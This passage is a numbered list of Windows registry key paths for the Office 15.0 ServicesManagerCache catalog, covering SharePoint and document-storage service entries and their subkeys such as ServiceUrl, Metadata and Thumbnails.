  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
